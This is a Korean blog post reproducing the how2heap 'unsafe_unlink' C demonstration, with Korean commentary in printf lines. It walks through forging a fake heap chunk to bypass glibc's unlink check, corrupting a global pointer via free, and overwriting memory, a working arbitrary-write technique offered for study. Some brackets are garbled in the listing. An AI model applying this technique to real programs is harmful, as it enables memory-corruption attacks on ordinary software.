how2heap - unsafe_unlink

Posted by dw0rdptr
2017. 8. 27. 22:36 System


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
 
 
uint64_t *chunk0_ptr;
 
int main()
{
    printf("unlink 2.0에 오신것을 환영합니다!\n"); //
    printf("환경은 우분투 14.04/16.04 64bit\n"); //환
    printf("이 기술은 unlink가 가능한 지역에 포인터가 있을 때 사용할 수 있습니다.\n"); //
    printf("가장 일반적인 시나리오는 오버플로우 취약점과 전역 포인터를 가지고 있는 버퍼입니다.\n"); //
 
    int malloc_size = 0x80;//fastbins으로 동작하게 하지 않기 위해 충분한 공간을 줍니다.
    int header_size = 2;
 
    printf("이 연습의 핵심은 free를 사용해 전역 chunk0_ptr를 손상시켜 임의의 메모리를 쓰는것입니다.\n\n"); //
    chunk0_ptr = (uint64_t*malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*malloc(malloc_size); //chunk1
    printf("전역 chunk0_ptr은 %p, %p를 가르킵니다.\n"&chunk0_ptr, chunk0_ptr); //
    printf("우리가 손상시킬 청크는 %p\n\n", chunk1_ptr); //
 
    printf("가짜청크를 chunk0에 생성합니다.\n"); //
    printf("만든 가짜 청크의 'next_free_chunk'(fd)를 &chunk0_ptr 근처로 설정하여 P-> fd-> bk = P가 되도록 합니다.\n"); //
    chunk0_ptr[2= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    printf("가짜 청크의 'previous_free_chunk'(bk)를 &chunk0_ptr 근처로 설정하여 P->bk->fd = P가 되도록 합니다.\n"); //
    printf("위 설정으로 다음 검사를 통과 할 수 있습니다 (P->fd->bk != P || P->bk->fd != P) == False\n"); //
    chunk0_ptr[3= (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
    printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);
 
    printf("가짜 청크의 'size' 와 다음 청크의'previous_size'가 일치하는지 확인해야 합니다.(fd->prev_size)\n"); //
    printf("위 설정으로 다음 검사를 통과 할 수 있습니다. (chunksize(P) != prev_size (next_chunk(P)) == False\n");//
    printf("P = chunk0_ptr, next_chunk(P) == (mchunkptr) (((char *) (p)) + chunksize (p)) == chunk0_ptr + (chunk0_ptr[1]&(~ 0x7))\n");
    
    printf("만약 x = chunk0_ptr [1] & (~ 0x7)이면 x = *(chunk0_ptr + x)입니다.\n"); //
    printf("*(chunk0_ptr + x) = x로 설정하면 체크를 통과 할 수 있습니다.\n"); //
    printf("1. x = chunk0_ptr [1] & (~ 0x7) = 0, * (chunk0_ptr + 0) = 0을 설정해야합니다. 다시말해 아무것도 안해야 합니다.\n");//
    printf("2. 64비트에서는 chunk0_ptr = 0x8로 설정하고 *(chunk0_ptr + 0x8) == chunk0_ptr[1]로 설정하면 됩니다.\n");//
    printf("3. 마지막으로 chunk0_ptr = x를 64비트 env로 설정하고 *(chunk0_ptr+x) = x를 설정할 수도 있습니다. 예를들어 : chunk_ptr0 [1] = 0x20, chunk_ptr0 [4] = 0x20\n");//
    chunk0_ptr[1= sizeof(size_t);
    printf("가짜 청크의 'size'를 chunk0_ptr[-3]으로 설정합니다:0x%08lx\n", chunk0_ptr[1]);//
    printf("커밋 비교는https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=17f487b7afa7cd6c316040f3e6c86dc96b2eec30 에서 할수 있습니다.\n\n");//
    printf("chunk0에 오버플로우가 발생해 chunk1 메타데이터를 바꿀 수 있다고 가정합니다.\n");//
    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    printf("chunk0 (chunk1에서 'previous_size'로 저장)의 크기를 줄여 free가 chunk0이 가짜 청크에서 시작한다고 착각하게 만듭니다.\n");//
    printf("가짜 청크는 알려진 포인터가 가리키는 곳에서 정확하게 시작되고 그에 따라 청크의 크기를 줄이는 것이 중요합니다.\n");//
    chunk1_hdr[0= malloc_size;
    printf("'정상적으로' chunk0을 free했다면, chunk1의 previous_size는 0x90이었겠지만, 이 값은 새로운 값입니다 : %p\n",(void*)chunk1_hdr[0]);//
    printf("chunk1의 'previous_in_use'를 False로 설정하여 가짜 청크가 free된 것 처럼 표시합니다.\n\n"); //
    chunk1_hdr[1&= ~1;
 
    printf("이제 chunk1을 free해 역으로 병합하면 가짜청크가 unlink되어 chunk0_ptr을 덮어 쓰게 됩니다.\n");//
    printf("You can find the source of the unlink macro at https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=ef04360b918bceca424482c6db03cc5ec90c3e00;hb=07c18a008c2ed8f5660adba2b778671db159a141#l1344\n\n");
    free(chunk1_ptr);
 
    printf("여기서 chunk0_ptr을 덮어씌워 임의의 위치를 가르키도록 할 수 있습니다.\n");//
    char victim_string[8];
    strcpy(victim_string,"Hello!~");
    chunk0_ptr[3= (uint64_t) victim_string;
 
    printf("chunk0_ptr은 이제 우리가 원하는 곳을 가리키고 이것을 이용해 victim string에 덮어씌울수 있습니다.\n"); //
    printf("Original value: %s\n",victim_string);
    chunk0_ptr[0= 0x4141414142424242LL;
    printf("New Value: %s\n",victim_string);
}
 
 
 
 
 
 
cs




'System' 카테고리의 다른 글

stkof  (0) 2017.09.02